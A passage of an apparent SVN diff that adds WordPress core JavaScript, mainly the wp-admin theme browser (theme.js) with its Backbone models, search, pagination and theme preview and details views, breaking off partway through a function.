+			for (var i = startIndex; i < this.firstChars.length; i++) {
+				if (this.treeitems[i].isVisible) {
+					if (_char === this.firstChars[i]) {
+						return i;
+					}
+				}
+			}
+			return -1;
+		};
+
+		return TreeLinks;
+	})();
+
+	/* jshint ignore:end */
+	/* jscs:enable */
+	/* eslint-enable */
+
+	return component;
+})( jQuery );
Index: /tags/5.0.20/src/wp-admin/js/theme.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/theme.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/theme.js	(revision 56912)
@@ -0,0 +1,2065 @@
+/* global _wpThemeSettings, confirm */
+window.wp = window.wp || {};
+
+( function($) {
+
+// Set up our namespace...
+var themes, l10n;
+themes = wp.themes = wp.themes || {};
+
+// Store the theme data and settings for organized and quick access
+// themes.data.settings, themes.data.themes, themes.data.l10n
+themes.data = _wpThemeSettings;
+l10n = themes.data.l10n;
+
+// Shortcut for isInstall check
+themes.isInstall = !! themes.data.settings.isInstall;
+
+// Setup app structure
+_.extend( themes, { model: {}, view: {}, routes: {}, router: {}, template: wp.template });
+
+themes.Model = Backbone.Model.extend({
+	// Adds attributes to the default data coming through the .org themes api
+	// Map `id` to `slug` for shared code
+	initialize: function() {
+		var description;
+
+		// If theme is already installed, set an attribute.
+		if ( _.indexOf( themes.data.installedThemes, this.get( 'slug' ) ) !== -1 ) {
+			this.set({ installed: true });
+		}
+
+		// Set the attributes
+		this.set({
+			// slug is for installation, id is for existing.
+			id: this.get( 'slug' ) || this.get( 'id' )
+		});
+
+		// Map `section.description` to `description`
+		// as the API sometimes returns it differently
+		if ( this.has( 'sections' ) ) {
+			description = this.get( 'sections' ).description;
+			this.set({ description: description });
+		}
+	}
+});
+
+// Main view controller for themes.php
+// Unifies and renders all available views
+themes.view.Appearance = wp.Backbone.View.extend({
+
+	el: '#wpbody-content .wrap .theme-browser',
+
+	window: $( window ),
+	// Pagination instance
+	page: 0,
+
+	// Sets up a throttler for binding to 'scroll'
+	initialize: function( options ) {
+		// Scroller checks how far the scroll position is
+		_.bindAll( this, 'scroller' );
+
+		this.SearchView = options.SearchView ? options.SearchView : themes.view.Search;
+		// Bind to the scroll event and throttle
+		// the results from this.scroller
+		this.window.bind( 'scroll', _.throttle( this.scroller, 300 ) );
+	},
+
+	// Main render control
+	render: function() {
+		// Setup the main theme view
+		// with the current theme collection
+		this.view = new themes.view.Themes({
+			collection: this.collection,
+			parent: this
+		});
+
+		// Render search form.
+		this.search();
+
+		this.$el.removeClass( 'search-loading' );
+
+		// Render and append
+		this.view.render();
+		this.$el.empty().append( this.view.el ).addClass( 'rendered' );
+	},
+
+	// Defines search element container
+	searchContainer: $( '.search-form' ),
+
+	// Search input and view
+	// for current theme collection
+	search: function() {
+		var view,
+			self = this;
+
+		// Don't render the search if there is only one theme
+		if ( themes.data.themes.length === 1 ) {
+			return;
+		}
+
+		view = new this.SearchView({
+			collection: self.collection,
+			parent: this
+		});
+		self.SearchView = view;
+
+		// Render and append after screen title
+		view.render();
+		this.searchContainer
+			.append( $.parseHTML( '<label class="screen-reader-text" for="wp-filter-search-input">' + l10n.search + '</label>' ) )
+			.append( view.el )
+			.on( 'submit', function( event ) {
+				event.preventDefault();
+			});
+	},
+
+	// Checks when the user gets close to the bottom
+	// of the mage and triggers a theme:scroll event
+	scroller: function() {
+		var self = this,
+			bottom, threshold;
+
+		bottom = this.window.scrollTop() + self.window.height();
+		threshold = self.$el.offset().top + self.$el.outerHeight( false ) - self.window.height();
+		threshold = Math.round( threshold * 0.9 );
+
+		if ( bottom > threshold ) {
+			this.trigger( 'theme:scroll' );
+		}
+	}
+});
+
+// Set up the Collection for our theme data
+// @has 'id' 'name' 'screenshot' 'author' 'authorURI' 'version' 'active' ...
+themes.Collection = Backbone.Collection.extend({
+
+	model: themes.Model,
+
+	// Search terms
+	terms: '',
+
+	// Controls searching on the current theme collection
+	// and triggers an update event
+	doSearch: function( value ) {
+
+		// Don't do anything if we've already done this search
+		// Useful because the Search handler fires multiple times per keystroke
+		if ( this.terms === value ) {
+			return;
+		}
+
+		// Updates terms with the value passed
+		this.terms = value;
+
+		// If we have terms, run a search...
+		if ( this.terms.length > 0 ) {
+			this.search( this.terms );
+		}
+
+		// If search is blank, show all themes
+		// Useful for resetting the views when you clean the input
+		if ( this.terms === '' ) {
+			this.reset( themes.data.themes );
+			$( 'body' ).removeClass( 'no-results' );
+		}
+
+		// Trigger a 'themes:update' event
+		this.trigger( 'themes:update' );
+	},
+
+	// Performs a search within the collection
+	// @uses RegExp
+	search: function( term ) {
+		var match, results, haystack, name, description, author;
+
+		// Start with a full collection
+		this.reset( themes.data.themes, { silent: true } );
+
+		// Escape the term string for RegExp meta characters
+		term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' );
+
+		// Consider spaces as word delimiters and match the whole string
+		// so matching terms can be combined
+		term = term.replace( / /g, ')(?=.*' );
+		match = new RegExp( '^(?=.*' + term + ').+', 'i' );
+
+		// Find results
+		// _.filter and .test
+		results = this.filter( function( data ) {
+			name        = data.get( 'name' ).replace( /(<([^>]+)>)/ig, '' );
+			description = data.get( 'description' ).replace( /(<([^>]+)>)/ig, '' );
+			author      = data.get( 'author' ).replace( /(<([^>]+)>)/ig, '' );
+
+			haystack = _.union( [ name, data.get( 'id' ), description, author, data.get( 'tags' ) ] );
+
+			if ( match.test( data.get( 'author' ) ) && term.length > 2 ) {
+				data.set( 'displayAuthor', true );
+			}
+
+			return match.test( haystack );
+		});
+
+		if ( results.length === 0 ) {
+			this.trigger( 'query:empty' );
+		} else {
+			$( 'body' ).removeClass( 'no-results' );
+		}
+
+		this.reset( results );
+	},
+
+	// Paginates the collection with a helper method
+	// that slices the collection
+	paginate: function( instance ) {
+		var collection = this;
+		instance = instance || 0;
+
+		// Themes per instance are set at 20
+		collection = _( collection.rest( 20 * instance ) );
+		collection = _( collection.first( 20 ) );
+
+		return collection;
+	},
+
+	count: false,
+
+	// Handles requests for more themes
+	// and caches results
+	//
+	// When we are missing a cache object we fire an apiCall()
+	// which triggers events of `query:success` or `query:fail`
+	query: function( request ) {
+		/**
+		 * @static
+		 * @type Array
+		 */
+		var queries = this.queries,
+			self = this,
+			query, isPaginated, count;
+
+		// Store current query request args
+		// for later use with the event `theme:end`
+		this.currentQuery.request = request;
+
+		// Search the query cache for matches.
+		query = _.find( queries, function( query ) {
+			return _.isEqual( query.request, request );
+		});
+
+		// If the request matches the stored currentQuery.request
+		// it means we have a paginated request.
+		isPaginated = _.has( request, 'page' );
+
+		// Reset the internal api page counter for non paginated queries.
+		if ( ! isPaginated ) {
+			this.currentQuery.page = 1;
+		}
+
+		// Otherwise, send a new API call and add it to the cache.
+		if ( ! query && ! isPaginated ) {
+			query = this.apiCall( request ).done( function( data ) {
+
+				// Update the collection with the queried data.
+				if ( data.themes ) {
+					self.reset( data.themes );
+					count = data.info.results;
+					// Store the results and the query request
+					queries.push( { themes: data.themes, request: request, total: count } );
+				}
+
+				// Trigger a collection refresh event
+				// and a `query:success` event with a `count` argument.
+				self.trigger( 'themes:update' );
+				self.trigger( 'query:success', count );
+
+				if ( data.themes && data.themes.length === 0 ) {
+					self.trigger( 'query:empty' );
+				}
+
+			}).fail( function() {
+				self.trigger( 'query:fail' );
+			});
+		} else {
+			// If it's a paginated request we need to fetch more themes...
+			if ( isPaginated ) {
+				return this.apiCall( request, isPaginated ).done( function( data ) {
+					// Add the new themes to the current collection
+					// @todo update counter
+					self.add( data.themes );
+					self.trigger( 'query:success' );
+
+					// We are done loading themes for now.
+					self.loadingThemes = false;
+
+				}).fail( function() {
+					self.trigger( 'query:fail' );
+				});
+			}
+
+			if ( query.themes.length === 0 ) {
+				self.trigger( 'query:empty' );
+			} else {
+				$( 'body' ).removeClass( 'no-results' );
+			}
+
+			// Only trigger an update event since we already have the themes
+			// on our cached object
+			if ( _.isNumber( query.total ) ) {
+				this.count = query.total;
+			}
+
+			this.reset( query.themes );
+			if ( ! query.total ) {
+				this.count = this.length;
+			}
+
+			this.trigger( 'themes:update' );
+			this.trigger( 'query:success', this.count );
+		}
+	},
+
+	// Local cache array for API queries
+	queries: [],
+
+	// Keep track of current query so we can handle pagination
+	currentQuery: {
+		page: 1,
+		request: {}
+	},
+
+	// Send request to api.wordpress.org/themes
+	apiCall: function( request, paginated ) {
+		return wp.ajax.send( 'query-themes', {
+			data: {
+			// Request data
+				request: _.extend({
+					per_page: 100,
+					fields: {
+						description: true,
+						tested: true,
+						requires: true,
+						rating: true,
+						downloaded: true,
+						downloadLink: true,
+						last_updated: true,
+						homepage: true,
+						num_ratings: true
+					}
+				}, request)
+			},
+
+			beforeSend: function() {
+				if ( ! paginated ) {
+					// Spin it
+					$( 'body' ).addClass( 'loading-content' ).removeClass( 'no-results' );
+				}
+			}
+		});
+	},
+
+	// Static status controller for when we are loading themes.
+	loadingThemes: false
+});
+
+// This is the view that controls each theme item
+// that will be displayed on the screen
+themes.view.Theme = wp.Backbone.View.extend({
+
+	// Wrap theme data on a div.theme element
+	className: 'theme',
+
+	// Reflects which theme view we have
+	// 'grid' (default) or 'detail'
+	state: 'grid',
+
+	// The HTML template for each element to be rendered
+	html: themes.template( 'theme' ),
+
+	events: {
+		'click': themes.isInstall ? 'preview': 'expand',
+		'keydown': themes.isInstall ? 'preview': 'expand',
+		'touchend': themes.isInstall ? 'preview': 'expand',
+		'keyup': 'addFocus',
+		'touchmove': 'preventExpand',
+		'click .theme-install': 'installTheme',
+		'click .update-message': 'updateTheme'
+	},
+
+	touchDrag: false,
+
+	initialize: function() {
+		this.model.on( 'change', this.render, this );
+	},
+
+	render: function() {
+		var data = this.model.toJSON();
+
+		// Render themes using the html template
+		this.$el.html( this.html( data ) ).attr({
+			tabindex: 0,
+			'aria-describedby' : data.id + '-action ' + data.id + '-name',
+			'data-slug': data.id
+		});
+
+		// Renders active theme styles
+		this.activeTheme();
+
+		if ( this.model.get( 'displayAuthor' ) ) {
+			this.$el.addClass( 'display-author' );
+		}
+	},
+
+	// Adds a class to the currently active theme
+	// and to the overlay in detailed view mode
+	activeTheme: function() {
+		if ( this.model.get( 'active' ) ) {
+			this.$el.addClass( 'active' );
+		}
+	},
+
+	// Add class of focus to the theme we are focused on.
+	addFocus: function() {
+		var $themeToFocus = ( $( ':focus' ).hasClass( 'theme' ) ) ? $( ':focus' ) : $(':focus').parents('.theme');
+
+		$('.theme.focus').removeClass('focus');
+		$themeToFocus.addClass('focus');
+	},
+
+	// Single theme overlay screen
+	// It's shown when clicking a theme
+	expand: function( event ) {
+		var self = this;
+
+		event = event || window.event;
+
+		// 'enter' and 'space' keys expand the details view when a theme is :focused
+		if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) {
+			return;
+		}
+
+		// Bail if the user scrolled on a touch device
+		if ( this.touchDrag === true ) {
+			return this.touchDrag = false;
+		}
+
+		// Prevent the modal from showing when the user clicks
+		// one of the direct action buttons
+		if ( $( event.target ).is( '.theme-actions a' ) ) {
+			return;
+		}
+
+		// Prevent the modal from showing when the user clicks one of the direct action buttons.
+		if ( $( event.target ).is( '.theme-actions a, .update-message, .button-link, .notice-dismiss' ) ) {
+			return;
+		}
+
+		// Set focused theme to current element
+		themes.focusedTheme = this.$el;
+
+		this.trigger( 'theme:expand', self.model.cid );
+	},
+
+	preventExpand: function() {
+		this.touchDrag = true;
+	},
+
+	preview: function( event ) {
+		var self = this,
+			current, preview;
+
+		event = event || window.event;
+
+		// Bail if the user scrolled on a touch device
+		if ( this.touchDrag === true ) {
+			return this.touchDrag = false;
+		}
+
+		// Allow direct link path to installing a theme.
+		if ( $( event.target ).not( '.install-theme-preview' ).parents( '.theme-actions' ).length ) {
+			return;
+		}
+
+		// 'enter' and 'space' keys expand the details view when a theme is :focused
+		if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) {
+			return;
+		}
+
+		// pressing enter while focused on the buttons shouldn't open the preview
+		if ( event.type === 'keydown' && event.which !== 13 && $( ':focus' ).hasClass( 'button' ) ) {
+			return;
+		}
+
+		event.preventDefault();
+
+		event = event || window.event;
+
+		// Set focus to current theme.
+		themes.focusedTheme = this.$el;
+
+		// Construct a new Preview view.
+		themes.preview = preview = new themes.view.Preview({
+			model: this.model
+		});
+
+		// Render the view and append it.
+		preview.render();
+		this.setNavButtonsState();
+
+		// Hide previous/next navigation if there is only one theme
+		if ( this.model.collection.length === 1 ) {
+			preview.$el.addClass( 'no-navigation' );
+		} else {
+			preview.$el.removeClass( 'no-navigation' );
+		}
+
+		// Append preview
+		$( 'div.wrap' ).append( preview.el );
+
+		// Listen to our preview object
+		// for `theme:next` and `theme:previous` events.
+		this.listenTo( preview, 'theme:next', function() {
+
+			// Keep local track of current theme model.
+			current = self.model;
+
+			// If we have ventured away from current model update the current model position.
+			if ( ! _.isUndefined( self.current ) ) {
+				current = self.current;
+			}
+
+			// Get next theme model.
+			self.current = self.model.collection.at( self.model.collection.indexOf( current ) + 1 );
+
+			// If we have no more themes, bail.
+			if ( _.isUndefined( self.current ) ) {
+				self.options.parent.parent.trigger( 'theme:end' );
+				return self.current = current;
+			}
+
+			preview.model = self.current;
+
+			// Render and append.
+			preview.render();
+			this.setNavButtonsState();
+			$( '.next-theme' ).focus();
+		})
+		.listenTo( preview, 'theme:previous', function() {
+
+			// Keep track of current theme model.
+			current = self.model;
+
+			// Bail early if we are at the beginning of the collection
+			if ( self.model.collection.indexOf( self.current ) === 0 ) {
+				return;
+			}
+
+			// If we have ventured away from current model update the current model position.
+			if ( ! _.isUndefined( self.current ) ) {
+				current = self.current;
+			}
+
+			// Get previous theme model.
+			self.current = self.model.collection.at( self.model.collection.indexOf( current ) - 1 );
+
+			// If we have no more themes, bail.
+			if ( _.isUndefined( self.current ) ) {
+				return;
+			}
+
+			preview.model = self.current;
+
+			// Render and append.
+			preview.render();
+			this.setNavButtonsState();
+			$( '.previous-theme' ).focus();
+		});
+
+		this.listenTo( preview, 'preview:close', function() {
+			self.current = self.model;
+		});
+
+	},
+
+	// Handles .disabled classes for previous/next buttons in theme installer preview
+	setNavButtonsState: function() {
+		var $themeInstaller = $( '.theme-install-overlay' ),
+			current = _.isUndefined( this.current ) ? this.model : this.current;
+
+		// Disable previous at the zero position
+		if ( 0 === this.model.collection.indexOf( current ) ) {
+			$themeInstaller.find( '.previous-theme' ).addClass( 'disabled' );
+		}
+
+		// Disable next if the next model is undefined
+		if ( _.isUndefined( this.model.collection.at( this.model.collection.indexOf( current ) + 1 ) ) ) {
+			$themeInstaller.find( '.next-theme' ).addClass( 'disabled' );
+		}
+	},
+
+	installTheme: function( event ) {
+		var _this = this;
+
+		event.preventDefault();
+
+		wp.updates.maybeRequestFilesystemCredentials( event );
+
+		$( document ).on( 'wp-theme-install-success', function( event, response ) {
+			if ( _this.model.get( 'id' ) === response.slug ) {
+				_this.model.set( { 'installed': true } );
+			}
+		} );
+
+		wp.updates.installTheme( {
+			slug: $( event.target ).data( 'slug' )
+		} );
+	},
+
+	updateTheme: function( event ) {
+		var _this = this;
+
+		if ( ! this.model.get( 'hasPackage' ) ) {
+			return;
+		}
+
+		event.preventDefault();
+
+		wp.updates.maybeRequestFilesystemCredentials( event );
+
+		$( document ).on( 'wp-theme-update-success', function( event, response ) {
+			_this.model.off( 'change', _this.render, _this );
+			if ( _this.model.get( 'id' ) === response.slug ) {
+				_this.model.set( {
+					hasUpdate: false,
+					version: response.newVersion
+				} );
+			}
+			_this.model.on( 'change', _this.render, _this );
+		} );
+
+		wp.updates.updateTheme( {
+			slug: $( event.target ).parents( 'div.theme' ).first().data( 'slug' )
+		} );
+	}
+});
+
+// Theme Details view
+// Set ups a modal overlay with the expanded theme data
+themes.view.Details = wp.Backbone.View.extend({
+
+	// Wrap theme data on a div.theme element
+	className: 'theme-overlay',
+
+	events: {
+		'click': 'collapse',
+		'click .delete-theme': 'deleteTheme',
+		'click .left': 'previousTheme',
+		'click .right': 'nextTheme',
+		'click #update-theme': 'updateTheme'
+	},
+
+	// The HTML template for the theme overlay
+	html: themes.template( 'theme-single' ),
+
+	render: function() {
+		var data = this.model.toJSON();
+		this.$el.html( this.html( data ) );
+		// Renders active theme styles
+		this.activeTheme();
+		// Set up navigation events
+		this.navigation();
+		// Checks screenshot size
+		this.screenshotCheck( this.$el );
+		// Contain "tabbing" inside the overlay
+		this.containFocus( this.$el );
+	},
+
+	// Adds a class to the currently active theme
+	// and to the overlay in detailed view mode
+	activeTheme: function() {
+		// Check the model has the active property
+		this.$el.toggleClass( 'active', this.model.get( 'active' ) );
+	},
+
+	// Set initial focus and constrain tabbing within the theme browser modal.
+	containFocus: function( $el ) {
+
+		// Set initial focus on the primary action control.
+		_.delay( function() {
+			$( '.theme-overlay' ).focus();
+		}, 100 );
+
+		// Constrain tabbing within the modal.
+		$el.on( 'keydown.wp-themes', function( event ) {
+			var $firstFocusable = $el.find( '.theme-header button:not(.disabled)' ).first(),
+				$lastFocusable = $el.find( '.theme-actions a:visible' ).last();
+
+			// Check for the Tab key.
+			if ( 9 === event.which ) {
+				if ( $firstFocusable[0] === event.target && event.shiftKey ) {
+					$lastFocusable.focus();
+					event.preventDefault();
+				} else if ( $lastFocusable[0] === event.target && ! event.shiftKey ) {
+					$firstFocusable.focus();
+					event.preventDefault();
+				}
+			}
+		});
+	},
+
+	// Single theme overlay screen
+	// It's shown when clicking a theme
+	collapse: function( event ) {
+		var self = this,
+			scroll;
+
+		event = event || window.event;
+
+		// Prevent collapsing detailed view when there is only one theme available
+		if ( themes.data.themes.length === 1 ) {
+			return;
+		}
+
+		// Detect if the click is inside the overlay
+		// and don't close it unless the target was
+		// the div.back button
+		if ( $( event.target ).is( '.theme-backdrop' ) || $( event.target ).is( '.close' ) || event.keyCode === 27 ) {
+
+			// Add a temporary closing class while overlay fades out
+			$( 'body' ).addClass( 'closing-overlay' );
+
+			// With a quick fade out animation
+			this.$el.fadeOut( 130, function() {
+				// Clicking outside the modal box closes the overlay
+				$( 'body' ).removeClass( 'closing-overlay' );
+				// Handle event cleanup
+				self.closeOverlay();
+
+				// Get scroll position to avoid jumping to the top
+				scroll = document.body.scrollTop;
+
+				// Clean the url structure
+				themes.router.navigate( themes.router.baseUrl( '' ) );
+
+				// Restore scroll position
+				document.body.scrollTop = scroll;
+
+				// Return focus to the theme div
+				if ( themes.focusedTheme ) {
+					themes.focusedTheme.focus();
+				}
+			});
+		}
+	},
+
+	// Handles .disabled classes for next/previous buttons
+	navigation: function() {
+
+		// Disable Left/Right when at the start or end of the collection
+		if ( this.model.cid === this.model.collection.at(0).cid ) {
+			this.$el.find( '.left' )
+				.addClass( 'disabled' )
+				.prop( 'disabled', true );
+		}
+		if ( this.model.cid === this.model.collection.at( this.model.collection.length - 1 ).cid ) {
+			this.$el.find( '.right' )
+				.addClass( 'disabled' )
+				.prop( 'disabled', true );
+		}
+	},
+
+	// Performs the actions to effectively close
+	// the theme details overlay
+	closeOverlay: function() {
+		$( 'body' ).removeClass( 'modal-open' );
+		this.remove();
+		this.unbind();
+		this.trigger( 'theme:collapse' );
+	},
+
+	updateTheme: function( event ) {
+		var _this = this;
+		event.preventDefault();
+
+		wp.updates.maybeRequestFilesystemCredentials( event );
+
+		$( document ).on( 'wp-theme-update-success', function( event, response ) {
+			if ( _this.model.get( 'id' ) === response.slug ) {
+				_this.model.set( {
+					hasUpdate: false,
+					version: response.newVersion
+				} );
+			}
+			_this.render();
+		} );
+
+		wp.updates.updateTheme( {
+			slug: $( event.target ).data( 'slug' )
+		} );
+	},
+
+	deleteTheme: function( event ) {
+		var _this = this,
+		    _collection = _this.model.collection,
+		    _themes = themes;
+		event.preventDefault();
+
+		// Confirmation dialog for deleting a theme.
+		if ( ! window.confirm( wp.themes.data.settings.confirmDelete ) ) {
+			return;
+		}
+
+		wp.updates.maybeRequestFilesystemCredentials( event );
+
+		$( document ).one( 'wp-theme-delete-success', function( event, response ) {
+			_this.$el.find( '.close' ).trigger( 'click' );
+			$( '[data-slug="' + response.slug + '"]' ).css( { backgroundColor:'#faafaa' } ).fadeOut( 350, function() {
+				$( this ).remove();
+				_themes.data.themes = _.without( _themes.data.themes, _.findWhere( _themes.data.themes, { id: response.slug } ) );
+
+				$( '.wp-filter-search' ).val( '' );
+				_collection.doSearch( '' );
+				_collection.remove( _this.model );
+				_collection.trigger( 'themes:update' );
+			} );
+		} );
+
+		wp.updates.deleteTheme( {
+			slug: this.model.get( 'id' )
+		} );
+	},
+
+	nextTheme: function() {
+		var self = this;
+		self.trigger( 'theme:next', self.model.cid );
+		return false;
+	},
+
+	previousTheme: function() {
+		var self = this;
+		self.trigger( 'theme:previous', self.model.cid );
+		return false;
+	},
+
+	// Checks if the theme screenshot is the old 300px width version
+	// and adds a corresponding class if it's true
+	screenshotCheck: function( el ) {
+		var screenshot, image;
+
+		screenshot = el.find( '.screenshot img' );
+		image = new Image();
+		image.src = screenshot.attr( 'src' );
+
+		// Width check
+		if ( image.width && image.width <= 300 ) {
+			el.addClass( 'small-screenshot' );
+		}
+	}
+});
+
+// Theme Preview view
+// Set ups a modal overlay with the expanded theme data
+themes.view.Preview = themes.view.Details.extend({
+
+	className: 'wp-full-overlay expanded',
+	el: '.theme-install-overlay',
+
+	events: {
+		'click .close-full-overlay': 'close',
+		'click .collapse-sidebar': 'collapse',
+		'click .devices button': 'previewDevice',
+		'click .previous-theme': 'previousTheme',
+		'click .next-theme': 'nextTheme',
+		'keyup': 'keyEvent',
+		'click .theme-install': 'installTheme'
+	},
+
+	// The HTML template for the theme preview
+	html: themes.template( 'theme-preview' ),
+
+	render: function() {
+		var self = this,
+			currentPreviewDevice,
+			data = this.model.toJSON(),
+			$body = $( document.body );
+
+		$body.attr( 'aria-busy', 'true' );
+
+		this.$el.removeClass( 'iframe-ready' ).html( this.html( data ) );
+
+		currentPreviewDevice = this.$el.data( 'current-preview-device' );
+		if ( currentPreviewDevice ) {
+			self.tooglePreviewDeviceButtons( currentPreviewDevice );
+		}
+
+		themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.get( 'id' ) ), { replace: false } );
+
+		this.$el.fadeIn( 200, function() {
+			$body.addClass( 'theme-installer-active full-overlay-active' );
+		});
+
+		this.$el.find( 'iframe' ).one( 'load', function() {
+			self.iframeLoaded();
+		});
+	},
+
+	iframeLoaded: function() {
+		this.$el.addClass( 'iframe-ready' );
+		$( document.body ).attr( 'aria-busy', 'false' );
+	},
+
+	close: function() {
+		this.$el.fadeOut( 200, function() {
+			$( 'body' ).removeClass( 'theme-installer-active full-overlay-active' );
+
+			// Return focus to the theme div
+			if ( themes.focusedTheme ) {
+				themes.focusedTheme.focus();
+			}
+		}).removeClass( 'iframe-ready' );
+
+		// Restore the previous browse tab if available.
+		if ( themes.router.selectedTab ) {
+			themes.router.navigate( themes.router.baseUrl( '?browse=' + themes.router.selectedTab ) );
+			themes.router.selectedTab = false;
+		} else {
+			themes.router.navigate( themes.router.baseUrl( '' ) );
+		}
+		this.trigger( 'preview:close' );
+		this.undelegateEvents();
+		this.unbind();
+		return false;
+	},
+
+	collapse: function( event ) {
+		var $button = $( event.currentTarget );
+		if ( 'true' === $button.attr( 'aria-expanded' ) ) {
+			$button.attr({ 'aria-expanded': 'false', 'aria-label': l10n.expandSidebar });
+		} else {
+			$button.attr({ 'aria-expanded': 'true', 'aria-label': l10n.collapseSidebar });
+		}
+
+		this.$el.toggleClass( 'collapsed' ).toggleClass( 'expanded' );
+		return false;
+	},
+
+	previewDevice: function( event ) {
+		var device = $( event.currentTarget ).data( 'device' );
+
+		this.$el
+			.removeClass( 'preview-desktop preview-tablet preview-mobile' )
+			.addClass( 'preview-' + device )
+			.data( 'current-preview-device', device );
+
+		this.tooglePreviewDeviceButtons( device );
+	},
+
+	tooglePreviewDeviceButtons: function( newDevice ) {
+		var $devices = $( '.wp-full-overlay-footer .devices' );
+
+		$devices.find( 'button' )
+			.removeClass( 'active' )
+			.attr( 'aria-pressed', false );
+
+		$devices.find( 'button.preview-' + newDevice )
+			.addClass( 'active' )
+			.attr( 'aria-pressed', true );
+	},
+
+	keyEvent: function( event ) {
+		// The escape key closes the preview
+		if ( event.keyCode === 27 ) {
+			this.undelegateEvents();
+			this.close();
+		}
+		// The right arrow key, next theme
+		if ( event.keyCode === 39 ) {
+			_.once( this.nextTheme() );
+		}
+
+		// The left arrow key, previous theme
+		if ( event.keyCode === 37 ) {
+			this.previousTheme();
+		}
+	},
+
+	installTheme: function( event ) {
+		var _this   = this,
+		    $target = $( event.target );
+		event.preventDefault();
+
+		if ( $target.hasClass( 'disabled' ) ) {
+			return;
+		}
+
+		wp.updates.maybeRequestFilesystemCredentials( event );
+
+		$( document ).on( 'wp-theme-install-success', function() {
+			_this.model.set( { 'installed': true } );
+		} );
+
+		wp.updates.installTheme( {
+			slug: $target.data( 'slug' )
+		} );
+	}
+});
+
+// Controls the rendering of div.themes,
+// a wrapper that will hold all the theme elements
+themes.view.Themes = wp.Backbone.View.extend({
+
+	className: 'themes wp-clearfix',
+	$overlay: $( 'div.theme-overlay' ),
+
+	// Number to keep track of scroll position
+	// while in theme-overlay mode
+	index: 0,
+
+	// The theme count element
+	count: $( '.wrap .theme-count' ),
+
+	// The live themes count
+	liveThemeCount: 0,
+
+	initialize: function( options ) {
+		var self = this;
+
+		// Set up parent
+		this.parent = options.parent;
+
+		// Set current view to [grid]
+		this.setView( 'grid' );
+
+		// Move the active theme to the beginning of the collection
+		self.currentTheme();
+
+		// When the collection is updated by user input...
+		this.listenTo( self.collection, 'themes:update', function() {
+			self.parent.page = 0;
+			self.currentTheme();
+			self.render( this );
+		} );
+
+		// Update theme count to full result set when available.
+		this.listenTo( self.collection, 'query:success', function( count ) {
+			if ( _.isNumber( count ) ) {
+				self.count.text( count );
+				self.announceSearchResults( count );
+			} else {
+				self.count.text( self.collection.length );
+				self.announceSearchResults( self.collection.length );
+			}
+		});
+
+		this.listenTo( self.collection, 'query:empty', function() {
+			$( 'body' ).addClass( 'no-results' );
+		});
+
+		this.listenTo( this.parent, 'theme:scroll', function() {
+			self.renderThemes( self.parent.page );
+		});
+
+		this.listenTo( this.parent, 'theme:close', function() {
+			if ( self.overlay ) {
+				self.overlay.closeOverlay();
+			}
+		} );
+
+		// Bind keyboard events.
+		$( 'body' ).on( 'keyup', function( event ) {
+			if ( ! self.overlay ) {
+				return;
+			}
+
+			// Bail if the filesystem credentials dialog is shown.
+			if ( $( '#request-filesystem-credentials-dialog' ).is( ':visible' ) ) {
+				return;
+			}
+
+			// Pressing the right arrow key fires a theme:next event
+			if ( event.keyCode === 39 ) {
+				self.overlay.nextTheme();
+			}
+
+			// Pressing the left arrow key fires a theme:previous event
+			if ( event.keyCode === 37 ) {
+				self.overlay.previousTheme();
+			}
+
+			// Pressing the escape key fires a theme:collapse event
+			if ( event.keyCode === 27 ) {
+				self.overlay.collapse( event );
+			}
+		});
+	},
+
+	// Manages rendering of theme pages
+	// and keeping theme count in sync
+	render: function() {
+		// Clear the DOM, please
+		this.$el.empty();
+
+		// If the user doesn't have switch capabilities
+		// or there is only one theme in the collection
+		// render the detailed view of the active theme
+		if ( themes.data.themes.length === 1 ) {
+
+			// Constructs the view
+			this.singleTheme = new themes.view.Details({
+				model: this.collection.models[0]
+			});
+
+			// Render and apply a 'single-theme' class to our container
+			this.singleTheme.render();
+			this.$el.addClass( 'single-theme' );
+			this.$el.append( this.singleTheme.el );
+		}
+
+		// Generate the themes
+		// Using page instance
+		// While checking the collection has items
+		if ( this.options.collection.size() > 0 ) {
+			this.renderThemes( this.parent.page );
+		}
+
+		// Display a live theme count for the collection
+		this.liveThemeCount = this.collection.count ? this.collection.count : this.collection.length;
+		this.count.text( this.liveThemeCount );
+
+		/*
+		 * In the theme installer the themes count is already announced
+		 * because `announceSearchResults` is called on `query:success`.
+		 */
+		if ( ! themes.isInstall ) {
+			this.announceSearchResults( this.liveThemeCount );
+		}
+	},
+
+	// Iterates through each instance of the collection
+	// and renders each theme module
+	renderThemes: function( page ) {
+		var self = this;
+
+		self.instance = self.collection.paginate( page );
+
+		// If we have no more themes bail
+		if ( self.instance.size() === 0 ) {
+			// Fire a no-more-themes event.
+			this.parent.trigger( 'theme:end' );
+			return;
+		}
+
+		// Make sure the add-new stays at the end
+		if ( ! themes.isInstall && page >= 1 ) {
+			$( '.add-new-theme' ).remove();
+		}
+
+		// Loop through the themes and setup each theme view
+		self.instance.each( function( theme ) {
+			self.theme = new themes.view.Theme({
+				model: theme,
+				parent: self
+			});
+
+			// Render the views...
+			self.theme.render();
+			// and append them to div.themes
+			self.$el.append( self.theme.el );
+
+			// Binds to theme:expand to show the modal box
+			// with the theme details
+			self.listenTo( self.theme, 'theme:expand', self.expand, self );
+		});
+
+		// 'Add new theme' element shown at the end of the grid
+		if ( ! themes.isInstall && themes.data.settings.canInstall ) {
+			this.$el.append( '<div class="theme add-new-theme"><a href="' + themes.data.settings.installURI + '"><div class="theme-screenshot"><span></span></div><h2 class="theme-name">' + l10n.addNew + '</h2></a></div>' );
+		}
+
+		this.parent.page++;
+	},
+
+	// Grabs current theme and puts it at the beginning of the collection
+	currentTheme: function() {
+		var self = this,
+			current;
+
+		current = self.collection.findWhere({ active: true });
+
+		// Move the active theme to the beginning of the collection
+		if ( current ) {
+			self.collection.remove( current );
+			self.collection.add( current, { at:0 } );
+		}
+	},
+
+	// Sets current view
+	setView: function( view ) {
+		return view;
+	},
+
+	// Renders the overlay with the ThemeDetails view
+	// Uses the current model data
+	expand: function( id ) {
+		var self = this, $card, $modal;
+
+		// Set the current theme model
+		this.model = self.collection.get( id );
+
+		// Trigger a route update for the current model
+		themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.id ) );
+
